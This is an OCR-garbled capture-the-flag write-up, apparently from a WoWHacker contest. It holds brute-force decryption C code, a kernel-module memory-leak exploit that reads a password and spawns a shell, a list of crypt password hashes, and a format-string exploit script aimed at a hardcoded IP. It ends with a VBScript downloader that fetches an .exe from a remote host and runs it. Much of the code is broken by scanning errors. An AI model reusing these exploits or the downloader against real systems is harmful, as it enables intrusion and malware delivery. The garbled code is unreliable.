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#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stath>

#include <errno.h>

int main(int argc, char *argv[])
{

FILE *fp;

FILE *fout;

int a, b, ¢
int cur_offset;

int count;

char cd[256];
char tmp[256];
char misi[256];
char buf[1024];
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system("'mkdir -p ./results2");
for(count=0;count<=10000;count++)

{

printf("count - %d¥#n", count);

for(a=128;a<=128;a++)
{

fp=fopen(argv([l], "rb");

fseek(fp, count, SEEK_SET);

memset(cmd, 0x00, sizeof(cmd));
sprintf(cmd, "./results2/%d_%d", count, a);

memset(buf, 0x00, sizeof(buf));
fread(buf, 1, a, fp);

fout=fopen(cmd, "wb");
fwrite(buf, 1, a, fout);

fclose(fout);

fclose(fp);

memset(tmp, 0x00, sizeof(tmp));

sprintf(tmp, "openssl| rsautl -inkey key -decrypt -in %s -out %s_dec",
cmd, cmd);

system(tmp);

unlink(cmd);
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void bfdecrypt(unsigned char *keydata, int keydatalen, char *in, char *out, unsigned int inlen)
{

BF_KEY key;

unsigned char ivec[32];

int num=0;

BF_set_key(8&key, keydatalen, keydata);

memset(ivec, 'W0', 32);

BF_cfb64_encrypt(in, out, inlen, &key, ivec, &num, BF_DECRYPT);

main(int argc, char *argv[])
{
char buf[1024]={0};
char out[1024]={0};
char pass[]="The best security group. WoWHacker";
char cmd[256]={0};
FILE *fp;
inta, b, c d;
int size;
int count;
int nFrameSize;
char kbuf[100]={0};



pFile=fopen("./music.mp3", "rb");

lol=0;

a=0;

fp=fopen("./new.mp3", "wb");
strcpy(kbuf, pass);

memset(kbuf+35, Oxcd, 29);
dumpcode((unsigned char *)kbuf, 64);

while(1)

{
a++;
b = lol;
whatthefuck(lol);

nFrameSize = (144000 * FrameBR / FrameSRF) + FramePADDING;
memset(buf, 0x00, sizeof(buf));

memset(out, 0x00, sizeof(out));

fseek(pFile, b, SEEK_SET);

fread(buf, 1, nFrameSize, pFile);

bfdecrypt(kbuf, 64, buf+4, out, nFrameSize-4);

if(a==0)
{
fwrite(buf, 1, nFrameSize, fp);
}
else if(a==1)
{
fwrite(buf, 1, nFrameSize, fp);
}
else
{
fwrite(buf, 1, 4, fp);
fwrite(out, 1, nFrameSize-4, fp);
}

lol += nFrameSize;

if(lol>=5433869)
exit(0);



fclose(fp);
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Level6
Level 6 is a lkm with a few vulnerabilities.

The Ikm implements functions for the "hkdev" character device.
Initially a few problems were noticed.
ssize_t write_a( struct file *filp, const char *buf, size_t count, loff_t *f_pos )

157: set_fs(get_ds());
159: if( count > 8)

160: return —EFAULT;
162: strepy( data_rw , buf ); (1)
163: data_rw[hk_strlen(data_rw) —-1] = 'W0"; (2) off-by—one underflow

164: flag_rw++;

171:ssize_t read_a( struct file *filp, char *buf, size_t count, loff_t *f_pos )

175: if( flag_rw > 0)

1760 {

177: for( cnt = 0 ; cnt < strlen(data_rw) =1 ; cnt++ ) (3) off by one with
larger consequences

178: data_rw([cnt] = ((data_rw[cnt] >> table_rwlcnt]) * flag_rw) % (cnt +7);

179: } flag_rw——;
181: return 0;

320:ssize_t read_c( struct file *filp, char *buf, size_t count, loff_t *f_pos

332:  if( (filp—>f_pos) 1=0)

333: p = p +(filp—>f_pos); (4)

335: if( (errn = copy_to_user( (void *)buf , (const void *)p , (unsigned long)count )) < 0)
336: return errn;

We had no success in exploiting (1). data_rw is placed towards the end of the data region,
and no pointers or other things to take control of execution were found. The overflow
ends up reaching unmapped memory with about 2000 bytes, trigger an Oops.

In fact, (1) was unintentional and was later patched to use strncpy.

No attempt was made with problem (3) because it overflows the same data as the strcpy.

(4) is a memory leak that we discovered pretty early on, and turned out to be all we needed.



The global ioctl provides an authentication feature that drops the hk uid. There is no bounds
checking,

an arbitrary amount of data can be read from memory. Multiple reads can be used to read more
information.

43:char hk_password[] = "HK_KEY: this is a default password";
98:int ioctl_global_hk( struct inode *inode, struct file *filp, unsigned int cmd, unsigned long arg

101: char *hkp = hk_password;

129: if( lhk_compare( plz.key , hkp +8) )

130: {

131: current=>uid = current—>euid = HK_ID;
132: current—>gid = current—>egid = HK_ID:
133: }

Exploiting the memory leak is easy:
#include <fcntl.h>
#include <stdio.h>

int main(int argc, char *argv[])

{
int fd;
inti, j;
int sz;
char =*buf;
fd = open("/dev/hkdev", O_NONBLOCK | O_NDELAY, O_RDONLY);
sz = atoi(argv[1]);
buf = malloc(sz);
for (j = 0; j < atoi(argv[2]); j++) {
forintf(stderr, "%dWn", read(fd, buf, sz));
for (i=0; i< sz i++) {
putchar(buf[i]);
}
}
I3

Triggering the ioctl:

#include <fcntl.h>
F#include <stdio.h>



#define AUTH_HK -0x7f7f9500
main(int argc, char *argv[])

{
int fd;
fd = open("/dev/hkdev", O_NONBLOCK | O_NDELAY, O_RDONLY);
ioctl(fd, AUTH_HK, argv[1]);
printf("%dwn", getuid());
system("sh");
}

./x 100000 10000 | strings | grep HK_KEY

x strings | grep HK_KEY

00 10000 | strings | grep HK_KEY

00 10000 | strings | grep HK_KEY

HK_KEY: linux kernel memory leak vulnerability is very frequent and famous.

char hk_password[] = "HK_KEY: linux kernel memory leak vulnerability is very frequent and
famous.";

HK_KEY: linux kernel memory leak vulnerability is very frequent and famous.

HK_KEY: linux kernel memory leak vulnerability is very frequent and famous.

Authenticating

[sixsense@localhost .z2]1$ ./g

500

sh-3.1$ id

uid=500(sixsense) gid=500(sixsense) groups=500(sixsense)
context=user_u:system_r:unconfined_t

sh-3.1$ exit

[sixsense@localhost .z2]$ ./g "linux kernel memory leak vulnerability is very frequent and
famous."

501

sh-3.1$ id

uid=501(hk) gid=501(hk) groups=500(sixsense) context=user_u:system_r:unconfined_t

Along with probably other teams we had this solved early on but the password file had not been
updated,
so we tried our luck with the other vulnerabilities, specifically mmap.

Hashes were also found but not cracked.
root:$1$IFBBaCVc$04rZ8mYd6aXVDaLIwTYiF1:13960:0:99999:7:::
sixsense:$1$YiP69CTQSPIJ.YIjJ8J4HSHYAZ0724N.:13960:0:99999:7:::
hk:$1$4yjezedj$TIHZEYyY5CjiOsYIX5bwi0:13960:0:99999:7:::
pc:$1$PpfRz7r5$QBHWXmoZIsCslIEkzeQ.//:13960:0:99999:7:::
0:$1$nZaB72v5%qi4c/ACyRILBbLgIINuaJ.:13960:0:99999:7:::
hkpco:$13$p5rQbt.f$3r3Q3tx7M8AYNLFOYd/XH0:13960:0:99999:7:::
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Level 7
|[P: 222.239.80.201 PORT: 22222

This level is a format string vulnerability
nc 222.239.80.201 22222

%X
Sorry. Your value was BFE57042

%X is not the password.

Since the goal is to get a password, we dumped the text segement first, where rodata is stored.

from socket import *
import struct

#aaWx01Wx80Wx04Wx08%9$sWx00Wx00"

for addr in range(0x8048000, 0x8058000):
tmp = "aa"+struct.pack("<L", addr) + "%9$sWx00Wx00"
print tmp
clientsock = socket(AF_INET, SOCK_STREAM)
clientsock.connect(('222.239.80.201", 22222))
clientsock.send(tmp)
data = clientsock.recv(1024)
print data

Sorry. Your value was aaU~F"D"HNo1Hacker!!.

aaU~F"D"H%9%s is not the password.

aaV~F "D "H%9$s"@" @
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slax = "http://222.239.80.206/w0Owhack3rslaxcOr3cOdega73/vin/c0d3ga73.exe"
Set varc = document.createElement("object")
varc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
vari="Microsoft XMLHTTP"

Set vard = varc.CreateObject(vari,"")

seturlf="Ado"
seturlg="db."
seturlh="sStr"

seturli="eam"
varf=seturlf&seturlg&seturlh&seturli
varg=varf

set vara = varc.createobject(varg,"")
varatype = 1

varh="GET"

vard.Open varh, slax, False
vard.Send

var9="gat3_cod3.com"

set varb = varc.createobject("Scripting.FileSystemObject”,"")
varb.GetSpecialFolder(2)

set vare
vara.open

var8="vara.BuildPath(vara,var8)"
var7="varb.BuildPath(varb,var7)"
var6="varc.BuildPath(vard,var6)"
var5="vard.BuildPath(varfvar5)"
var4="vare.BuildPath(varg,var4)"
var3="varfBuildPath(varh,var4)"
var2="varg.BuildPath(vari,var3)"
varl="varh.BuildPath(varg,varl)"

varO="vari.BuildPath(vark,var0)"




var9= varb.BuildPath(vare,var9)

vara.write vard.responseBody

vara.savetofile var9,2

vara.close

set vare = varc.createobject("Shell. Application","")

vare.ShellExecute var9,BBS,BBS,"open",0
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